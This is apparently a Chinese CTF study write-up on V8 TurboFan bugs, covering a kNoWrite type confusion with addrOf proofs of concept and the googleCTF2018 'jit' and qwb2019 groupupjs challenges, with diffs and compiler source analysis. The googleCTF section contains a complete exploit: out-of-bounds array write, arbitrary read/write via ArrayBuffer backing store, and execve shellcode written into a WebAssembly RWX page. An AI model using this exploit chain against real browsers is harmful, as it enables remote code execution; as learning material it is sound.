auto builtin = conversion == Object::Conversion::kToNumeric
? Builtins::kNonNumberToNumeric
: Builtins::kNonNumberToNumber;
// 调用 kNonNumberToNumeric 进行类型转换,然后再次循环
var_value.Bind(CallBuiltin(builtin, context, value));
OverwriteFeedback(var_feedback, BinaryOperationFeedback::kAny);
Goto(&loop);
BIND(&is_oddball);
var_value.Bind(LoadObjectField(value, Oddball::kToNumberOffset));
OverwriteFeedback(var_feedback,
BinaryOperationFeedback::kNumberOrOddball);
Goto(&loop);
}
BIND(&is_heap_number);
var_word32->Bind(TruncateHeapNumberValueToWord32(value));
CombineFeedback(var_feedback, BinaryOperationFeedback::kNumber);
Goto(if_number);
if (conversion == Object::Conversion::kToNumeric) {
BIND(&is_bigint);
var_bigint->Bind(value);
CombineFeedback(var_feedback, BinaryOperationFeedback::kBigInt);
Goto(if_bigint);
}
}
}
大致逻辑我都注释了,简单来说主要做如下操作:
接下来就是去分析 Builtins::kNonNumberToNumeric
函数了,找到其定义如下:
TF_BUILTIN(NonNumberToNumeric, CodeStubAssembler) {
Node* context = Parameter(Descriptor::kContext);
Node* input = Parameter(Descriptor::kArgument);
Return(NonNumberToNumeric(context, input));
}
跟进 NonNumberToNumeric
函数:
TNode<Numeric> CodeStubAssembler::NonNumberToNumeric(
SloppyTNode<Context> context, SloppyTNode<HeapObject> input) {
Node* result = NonNumberToNumberOrNumeric(context, input,
Object::Conversion::kToNumeric);
CSA_SLOW_ASSERT(this, IsNumeric(result));
return UncheckedCast<Numeric>(result);
}
跟进 NonNumberToNumberOrNumeric
函数:
Node* CodeStubAssembler::NonNumberToNumberOrNumeric(
Node* context, Node* input, Object::Conversion mode,
BigIntHandling bigint_handling) {
CSA_ASSERT(this, Word32BinaryNot(TaggedIsSmi(input)));
CSA_ASSERT(this, Word32BinaryNot(IsHeapNumber(input)));
// We might need to loop once here due to ToPrimitive conversions.
VARIABLE(var_input, MachineRepresentation::kTagged, input);
VARIABLE(var_result, MachineRepresentation::kTagged);
Label loop(this, &var_input);
Label end(this);
Goto(&loop);
// 循环
BIND(&loop);
{
// Load the current {input} value (known to be a HeapObject).
Node* input = var_input.value();
// Dispatch on the {input} instance type.
Node* input_instance_type = LoadInstanceType(input);
Label if_inputisstring(this), if_inputisoddball(this),
if_inputisbigint(this), if_inputisreceiver(this, Label::kDeferred),
if_inputisother(this, Label::kDeferred);
// 依次检查是否是 String、BigInt、oddBall、JSReceiver
GotoIf(IsStringInstanceType(input_instance_type), &if_inputisstring);
GotoIf(IsBigIntInstanceType(input_instance_type), &if_inputisbigint);
GotoIf(InstanceTypeEqual(input_instance_type, ODDBALL_TYPE), &if_inputisoddball);
Branch(IsJSReceiverInstanceType(input_instance_type), &if_inputisreceiver, &if_inputisother);
// 这里只需要关注 JSReceiver
BIND(&if_inputisstring);
......
BIND(&if_inputisbigint);
......
BIND(&if_inputisoddball);
.....
BIND(&if_inputisreceiver);
{
// The {input} is a JSReceiver, we need to convert it to a Primitive first
// using the ToPrimitive type conversion, preferably yielding a Number.
// 调用 NonPrimitiveToPrimitive 进行转换
// 这里最后调用到的是 NonPrimitiveToPrimitive_Number
/*
Handle<Code> Builtins::NonPrimitiveToPrimitive(ToPrimitiveHint hint) {
switch (hint) {
case ToPrimitiveHint::kDefault:
return builtin_handle(kNonPrimitiveToPrimitive_Default);
case ToPrimitiveHint::kNumber:
return builtin_handle(kNonPrimitiveToPrimitive_Number);
case ToPrimitiveHint::kString:
return builtin_handle(kNonPrimitiveToPrimitive_String);
}
UNREACHABLE();
}
*/
Callable callable = CodeFactory::NonPrimitiveToPrimitive(
isolate(), ToPrimitiveHint::kNumber);
Node* result = CallStub(callable, context, input);
// Check if the {result} is already a Number/Numeric.
// 检查是否已经是一个 Numeric,上层传入的 mode = Object::Conversion::kToNumeric,这个就不多说了
Label if_done(this), if_notdone(this);
Branch(mode == Object::Conversion::kToNumber ? IsNumber(result)
: IsNumeric(result),
&if_done, &if_notdone);
// 转换成功
BIND(&if_done);
......
// 转换不彻底,继续转换
BIND(&if_notdone);
{
// We now have a Primitive {result}, but it's not yet a Number/Numeric.
var_input.Bind(result);
Goto(&loop);
}
}
// 处理 Symbol 等一些其它类型,这里不用关心
BIND(&if_inputisother);
{
// The {input} is something else (e.g. Symbol), let the runtime figure
// out the correct exception.
// Note: We cannot tail call to the runtime here, as js-to-wasm
// trampolines also use this code currently, and they declare all
// outgoing parameters as untagged, while we would push a tagged
// object here.
auto function_id = mode == Object::Conversion::kToNumber
? Runtime::kToNumber
: Runtime::kToNumeric;
var_result.Bind(CallRuntime(function_id, context, input));
Goto(&end);
}
}
// 转换结束,一些 check,然后就直接返回
BIND(&end);
......
return var_result.value();
}
这个函数跟之前分析的 Object::toNumber
的调用逻辑都差不多,都是依次调用 Symbol.toPrimitive
、valueOf
、toString
,所以这里就不多分析了,具体见注释或之前的题目分析
感兴趣的读者可以继续分析:
TF_BUILTIN(NonPrimitiveToPrimitive_Number, ConversionBuiltinsAssembler) { Node* context = Parameter(Descriptor::kContext); Node* input = Parameter(Descriptor::kArgument); Generate_NonPrimitiveToPrimitive(context, input, ToPrimitiveHint::kNumber); }
然后跟进
Generate_NonPrimitiveToPrimitive
就是相关转换逻辑了
简单测试一下:
var a = { valueOf() { print("valueOf"); return 1; }};
var b = { toString() { print("toString"); return 1; }};
print(a & b);
// 输出:
/*
valueOf
toString
1
*/
漏洞产生原因
说了这么多,漏洞在哪里呢?漏洞该如何触发呢?其实上面分析的逻辑本身不存在问题,关键在于题目引入的 kNoWrite
属性,这搁属性会导致 CheckMaps
节点的消除优化,从而导致类型混淆漏洞。
然后由于网不好,环境还没有配好,乐…
拉了6个小时了还没好,漏洞poc
与利用后面环境配好了再补
Go On
环境终于搭好了 =======================================================
回到上文,由于 &
操作被赋予了 kNoWrite
属性,所以 trubofan
会认为 &
操作不存在副作用,即 &
操作不会导致对象或系统的状态被修改,说人话就是 trubofan
会认为 &
操作不会修改任何对象的类型。但是当 &
操作的操作数是对象时,会调用对象的 valueOf
等回调函数,而在回调函数中我们是可以修改对象的类型的,所以 &
操作是存在副作用的。
第一版 poc
:
const {log} = console;
function trigger(arr, obj) {
arr[0];
let idx = obj & -1;
return arr[idx];
}
var arr = [.1];
var obj = {
valueOf(){
return 0;
}
};
for (let i = 0; i < 0x10000; i++) {
trigger(arr, obj);
}
var tmp = [1.1, 1.2];
var obj = {
valueOf(){
arr[0] = tmp;
return 0;
}
};
log(trigger(arr, obj));
我的想法是在 trigger
函数中:
arr[0]
确定arr
类型为DOUBLE
类型obj & -1
在回调函数中修改arr[0]
为某一对象,但是由于&
操作turbofan
认为不产生副作用,所以arr
的类型还是被认为是DOUBLE
类型- 最后
arr[0]
即可读出被设置对象的地址
但是最后的输出却意想不到,最后输出的是 0.1
,按理说 arr[0]
已经被我修改成了 tmp
对象了,再怎么样也不应该返回 0.1
啊,而且如果我将 arr[0]
修改为 5.2
时,又可以正常返回 5.2
,所以还是来看下 IR
图吧:
typed lowering 阶段:
simplified lowering 阶段:
可以看到这里 arr[0]
似乎直接被优化没了,最重要的就是第一个 CheckMaps
节点没了,所以 arr[idx]
的 CheckMaps
不会被优化。
所以我们的目标就很明确了,在 arr[idx]
前产生一个对 arr
的 CheckMaps
节点,由于 &
的 kNoWrite
属性,会认为 arr[idx]
时,arr
的 Map
不会被改变,所以就会将执行 arr[idx]
前的 CheckMaps
节点优化掉。
最后搞很好久,都没有解决,本打算经过一些运算去保留第一个 CheckMaps
节点,但是发现第二个 CheckMaps
并没有被顺利消除,最后疯狂找,找到了官方 poc
,其是利用 .
运算符去取属性,因此有如下第二版 poc
:
const {log} = console;
function trigger(arr, obj) {
arr.a;
let idx = obj & -1;
return arr[idx];
}
var arr = [.1];
arr.a = .1;
var obj = {
valueOf(){
return 0;
}
};
for (let i = 0; i < 0x10000; i++) {
trigger(arr, obj);
}
var tmp = [1.1, 1.2];
var obj = {
valueOf(){
arr[0] = tmp;
return 0;
}
};
log(trigger(arr, obj));
// 输出:
// 2.5529527194428e-310
原理还没搞清楚呢,奇奇怪怪
漏洞利用
这里的 addrOf
我已经成功构造出来了,但是 fakeObj
一直没有构造成功,所以这里漏洞利用暂时搁置:
const {log} = console;
var raw_buf = new ArrayBuffer(0x8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
let d2l = (v) => {
d_buf[0] = v;
return l_buf[0];
};
let l2d = (v) => {
l_buf[0] = v;
return d_buf[0];
};
let hexx = (str, v) => {
log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};
function pre_addrOf(arr, obj) {
arr.a;
let idx = obj & -1;
return arr[idx];
}
var r_arr = [.1];
r_arr.a = .1;
var obj = {valueOf(){ return 0; }};
for (let i = 0; i < 0x10000; i++) {
pre_addrOf(r_arr, obj);
}
function addrOf(obj) {
let xor = {
valueOf(){
r_arr[0] = obj;
return 0;
}};
return pre_addrOf(r_arr, xor);
}
var test_arr = [1.1];
%DebugPrint(test_arr);
hexx("test_arr_addr", d2l(addrOf(test_arr)));
输出如下:可以看到这里可以成功泄漏对象地址
=================== 问题=====================================
上面构造的 addrOf
似乎也存在问题,当多次利用 addrOf
时:
.....
var test_arr = [1.1];
%DebugPrint(test_arr);
hexx("test_arr_addr", d2l(addrOf(test_arr)));
hexx("test_arr_addr", d2l(addrOf(test_arr)));
hexx("test_arr_addr", d2l(addrOf(test_arr)));
第二、三次都没有成功泄漏对象地址,也就是说上面构造的 addrOf
只能利用一次:
看来的对这个漏洞的理解还是不清楚,最后找到一篇文章(但是这篇文章也没有说清楚漏洞为啥这里利用)参考文章
反正就是很懵逼,但是可以跟着这篇文章学一些利用方式,这里我还是很懵逼,所以就不写了,感兴趣的读者可以自行学习上述参考文章
JIT 阶段导致的 OOB 【主要是针对 CheckBounds 节点的消除】
这里消除 CheckBounds
节点的主要方式就是利用在数值的运算错误漏洞中,在 javascript
层和 JIT
优化的代码,两者计算的数值不一致,从而消除 CheckBounds
实现数组越界
googleCTF2018 jit【turbofan 浮点数精度丢失消除CheckBounds】
环境搭建
git checkout 7.0.276.3 # 如果需要force,则添加-f参数。gclient同样如此。
gclient sync -D
在编译时,在 args.gn
中加入 v8_untrusted_code_mitigations = false
选项:
is_debug = false
target_cpu = "x64"
symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
v8_untrusted_code_mitigations = false
这里之所以加上上述选项,是因为 chrome
开发者去掉了 Simplified lowering
过程中的边界检查优化,加上上述选项则可以开启 CheckBound
的优化。
漏洞分析
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
在TypedLoweringPhase
阶段添加了一种优化,代码逻辑比较简单就不分析了:
然后 x + m + n == x + (n + m)
并不是恒成立的,当其为 double
类型时存在精度丢失,然后可以利用其来绕过 CheckBound
检测,从而导致越界读写:
V8 version 7.0.276.3
d8> var x = Number.MAX_SAFE_INTEGER + 1;
undefined
d8> x
9007199254740992
d8> x + 1
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 2
9007199254740994
d8>
漏洞利用
/*let debug = (o) => {
%DebugPrint(o);
%SystemBreak();
}*/
function hexx(str, value)
{
print("\033[32m[+]"+ str+": \033[0m0x"+value.toString(16));
}
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function l2d(x)
{
l_buf[0] = x;
return d_buf[0];
}
function d2l(x)
{
d_buf[0] = x;
return l_buf[0];
}
var arr = [];
function trigger_oob(x)
{
arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
let i = (x == 1? 9007199254740992: 9007199254740989); // range(9007199254740989, 9007199254740992);
i = i + 1 + 1; // range(9007199254740991, 9007199254740992); ==> range(9007199254740991, 9007199254740994);
i -= 9007199254740989; // range(2, 3); ==> range(2, 5);
i *=2; // range(4, 6); ==> range(4, 10);
arr[i] = 2.1729236899484e-311; // set length ==> 1024
}
for (let i = 0; i < 0x10000; i++)
{
trigger_oob(1);
}
if (arr[1023] == undefined)
{
throw "FAILED to escape CHECKBOUND";
} else {
hexx("arr.length", arr.length);
}
var arb_buf = new ArrayBuffer(0x100);
var arb = new DataView(arb_buf);
var tmp = [0xeabeef, arb_buf, arr];
var backing_store_index = -1n;
for (let i = 0; i < 1022; i++)
{
if (0x00eabeef00000000n == d2l(arr[i]))
{
backing_store_index = (d2l(arr[i+1]) + 0x20n -1n - (d2l(arr[i+2]) - 0x38n - 1n)) / 8n;
break;
}
}
if (backing_store_index == -1n || backing_store_index > 1023n)
{
throw "Error backing_store_index";
}
hexx("backing_store_index", backing_store_index);
function arb_read(addr)
{
arr[backing_store_index] = l2d(addr);
return arb.getBigInt64(0, true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
tmp = [0xdabeef, wasm_instance];
var wasm_instance_addr = -1n;
for (let i = 0; i < 1023; i++)
{
if (0x00dabeef00000000n == d2l(arr[i]))
{
wasm_instance_addr = d2l(arr[i+1]) - 1n;
break;
}
}
if (wasm_instance_addr == -1n)
{
throw "Error wasm_instance_addr";
}
hexx("wasm_instance_addr", wasm_instance_addr);
var rwx_addr = arb_read(wasm_instance_addr+0xe8n);
hexx("rwx_addr", rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
arr[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
arb.setBigInt64(i*8, shellcode[i], true);
}
pwn();
qwb2019-final-groupupjs【turbofan 新版CheckBounds 再利用】
环境搭建
git reset --hard 7.7.2
gclient sync -D
漏洞分析
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
人为构造的漏洞,仅仅将 m.right().Value()
加了1,还是定位到源码:
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
switch (node->opcode()) {
......
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}
......
这里是在 MachineOperatorReducer::Reduce
中的 IrOpcode::kUint32LessThan
引入了漏洞,调试发现 MachineOperatorReducer::Reduce
会在 EarlyOptimizationPhase
、LateOptimizationPhase
、MachineOperatorOptimizationPhase
趟中被调用,这里关注 LateOptimizationPhase
即可。
CheckBounds 节点
SimplifiedLoweringPhase::Run
SimplifiedLowering::LowerAllNodes
RepresentationSelector::Run
RepresentationSelector::VisitNode
在老版的 v8
中,在 simplified lowering
会对 CheckBounds
节点进行消除:
......
case IrOpcode::kCheckBounds: {
const CheckParameters& p = CheckParametersOf(node->op());
Type index_type = TypeOf(node->InputAt(0));
Type length_type = TypeOf(node->InputAt(1));
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower() && lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison) {
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min())) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
}
}
} else {
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return;
}
......
而在新版的 v8
中,不会再消除 CheckBounds
节点了:
case IrOpcode::kCheckBounds:
return VisitCheckBounds(node, lowering);
这里是直接调用了 VisitCheckBounds
进行相关处理,直接跟进该函数:
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds;
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
}
} else {
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
if (lower()) {
NodeProperties::ChangeOp(
node,
simplified()->CheckedUint32Bounds(
p.feedback(), CheckBoundsParameters::kDeoptOnOutOfBounds));
}
}
} else {
DCHECK(length_type.Is(type_cache_->kPositiveSafeInteger));
VisitBinop(node,
UseInfo::CheckedSigned64AsWord64(kIdentifyZeros, p.feedback()),
UseInfo::Word64(), MachineRepresentation::kWord64);
if (lower()) {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint64Bounds(p.feedback()));
}
}
}
可以看到这里是设置为 kAbortOnOutOfBounds
模式并将节点替换为 CheckedUint32Bounds
节点。
来个 demo
:
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = (x === "pwn" ? 1: 2);
idx += 1;
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("pwn"));
Typer
阶段:
SimplifiedLowering
阶段:
而在 EffectLinearization
阶段,会将 CheckedUint32Bounds
节点替换为 Uint32LessThan
节点:
class EffectControlLinearizer {
public:
......
Node* LowerCheckedUint32Bounds(Node* node, Node* frame_state);
......
Node* LowerCheckedUint64Bounds(Node* node, Node* frame_state);
......
来看下 LowerCheckedUint32Bounds
函数,这里的模式在上面说了是 kAbortOnOutOfBounds
:
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());
Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();
__ Branch(check, &done, &if_abort);
__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);
__ Bind(&done);
break;
}
}
return index;
}
但是我好像没有从上面的代码中发现节点替换的代码…
看下 IR
图:
然后在 LateOptimization
中 Uint32LessThan
会 MachineOperatorReducer::reducer
被进一步优化,由于这里的 demo
没有写好,所以这里没有较大的区别。
经过上面的分析,写出第一版 poc
:
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = (x == "pwn"?1:4);
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("nopwn"));
// 输出:
// undefined
可以看到这里输出的居然是 undefined
,直接看下 LateOptimization
阶段的 IR
图:
可以看到这里由于是一个 phi
节点,所以不会被漏洞逻辑优化(其实我还是不太理解什么叫做 Foldable
,目前我理解的是常量)
于是构造第二版 poc
:
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = 4;
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("nopwn"));
// 输出:
// undefined
还是输出的 undefined
,分析一下 IR
图。
LateOptimization
阶段:
这里是直接返回 undefined
,看来是直接被优化掉了,这里就往前分析下。
Typer
阶段:
这里是正常的。
SimplifiedLowering
阶段:
可以看到这里的 LoadElement
直接被优化掉了,直接就是返回 undefined
。
可能是一次错误的分析
很明显,这里的 LoadElement
在 LoadElimination
阶段被优化掉了。
LoadEliminationPhase
趟:
struct LoadEliminationPhase {
static const char* phase_name() { return "V8.TFLoadElimination"; }
void Run(PipelineData* data, Zone* temp_zone) {
......
AddReducer(data, &graph_reducer, &branch_condition_elimination);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &load_elimination);
AddReducer(data, &graph_reducer, &type_narrowing_reducer);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
};
LoadElimination::Reduce
:
Reduction LoadElimination::Reduce(Node* node) {
if (FLAG_trace_turbo_load_elimination) {
......
}
switch (node->opcode()) {
......
case IrOpcode::kLoadElement:
return ReduceLoadElement(node);
......
default:
return ReduceOtherNode(node);
}
return NoChange();
}
LoadElimination::ReduceLoadElement
:
Reduction LoadElimination::ReduceLoadElement(Node* node) {
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const index = NodeProperties::GetValueInput(node, 1);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
// Only handle loads that do not require truncations.
ElementAccess const& access = ElementAccessOf(node->op());
